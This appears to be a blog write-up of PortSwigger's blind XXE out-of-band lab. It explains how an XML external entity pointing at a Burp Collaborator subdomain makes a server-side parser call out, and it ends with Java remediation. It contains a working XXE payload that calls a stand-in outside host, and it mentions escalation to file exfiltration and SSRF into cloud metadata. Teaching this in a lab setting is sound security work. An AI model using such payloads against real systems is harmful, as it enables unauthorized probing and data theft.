Blind XXE with Out-of-Band Interaction

Table of Contents
| Platform | PortSwigger Web Security Academy |
| Topic | XML external entity (XXE) injection |
| Lab | Blind XXE with out-of-band interaction |
| Difficulty | Practitioner |
| Goal | Make the parser issue a DNS lookup and HTTP request to Burp Collaborator |
| Tools | Burp Suite Professional (Repeater + Collaborator) |
What makes this blind?#
In the file-retrieval lab
the
external entity’s value was reflected in the response, so we could read
/etc/passwd straight back. Here nothing useful comes back: the application
parses our XML but doesn’t echo the entity anywhere. That’s blind XXE, so we
need a different signal that the entity resolved.
The signal is an out-of-band (OOB) one. Instead of pointing the entity at a local file, we point it at a server we control and watch for the parser to reach out. If a request arrives there, the parser processed our external entity, even though its response never shows us anything.
The server we control is Burp Collaborator , a Burp Professional feature that hands out a unique domain and records any DNS (Domain Name System, which resolves names into IP addresses) or HTTP interaction sent to it. Make the parser look up a Collaborator subdomain and the incoming interaction is our proof.
Finding the injection point#
The endpoint is the same XML stock-check as the
file-retrieval lab
:
Check stock sends a POST /product/stock whose body is XML, parsed
server-side. Capture it and send it to Repeater. The baseline body is:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>Exploitation: a Collaborator callback#
Declare an external entity whose URI is an http:// Collaborator domain, then
reference it in productId so the parser resolves it:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>Piece by piece:
<!DOCTYPE stockCheck [ ... ]>adds an inline DTD (Document Type Definition), the section where entities are declared, before the root element.<!ENTITY xxe SYSTEM "http://…">declares an external entity namedxxe.SYSTEMplus anhttp://URI tells the parser to fetch that URL when the entity is used, which is what makes the server reach out to us.&xxe;references the entity inside<productId>, forcing the parser to resolve it (and so perform the fetch) while processing the document.
Rather than paste a Collaborator domain by hand, select the placeholder, right-click, and choose Insert Collaborator payload. Burp drops in a fresh, unique Collaborator subdomain:

Send it. The response is a blind 400 Bad Request with "Invalid product ID",
nothing that reveals the entity resolved:

Confirming the interaction#
The proof is out-of-band, so open the Collaborator tab and click Poll now. The server’s fetch of our subdomain shows up as an interaction from the target, so the parser resolved the external entity and made the request:

Because the whole signal comes over a side channel rather than the app’s response, there’s nothing to read inline, the interaction is the result, and the lab is marked solved.
Real-world impact#
A blind callback looks modest, but it confirms the parser processes attacker-controlled external entities, and that is the doorway to real damage in an authorized engagement:
- Confirming otherwise-invisible XXE — many XXE points reflect nothing; an OOB interaction is often the only way to prove the parser is vulnerable at all.
- Out-of-band data exfiltration — the same channel upgrades to stealing file contents by pairing it with a malicious external DTD that reads a file and folds it into the URL the parser requests.
- SSRF into the internal network — pointing the entity at internal hosts or cloud metadata turns the parser into a request proxy (see the XXE-to-SSRF lab ).
Only ever against systems you are authorized to test.
Remediation#
The fix is the same as every XXE: stop the parser from processing DTDs and external entities.
- Disable DTDs and external entities in the XML parser. With external entities off, the parser never fetches the entity’s URI, so the callback can’t fire.
- Prefer simpler formats. If the endpoint doesn’t need XML, accept JSON and drop the XML parser entirely.
A concrete example, parser-specific (here Java’s built-in
DocumentBuilderFactory), turning off document-type declarations:
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// Disallow DTDs entirely — the most effective XXE defense
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(input);The exact API differs by language and library, but the idea is the same: tell the parser not to process DTDs or external entities.
Key takeaways#
- When XXE reflects nothing, switch to out-of-band: point the entity at a host you control and watch for the callback.
SYSTEM "http://…"makes the parser fetch a URL;&xxe;in a parsed field forces it to resolve the entity, firing the request.- Burp Collaborator (Pro) supplies the unique domain and records the DNS/HTTP interaction; Insert Collaborator payload wires a fresh subdomain into the request.
Related posts#
- Blind XXE via XML Parameter Entities — the next lab, when regular external entities are blocked.
- Exploiting XXE to Retrieve Files
— the non-blind starting point, reading
/etc/passwd. - Exploiting XXE to Perform SSRF — pointing the same entity at internal services and cloud metadata.
- Full series: PortSwigger: XML External Entity Injection .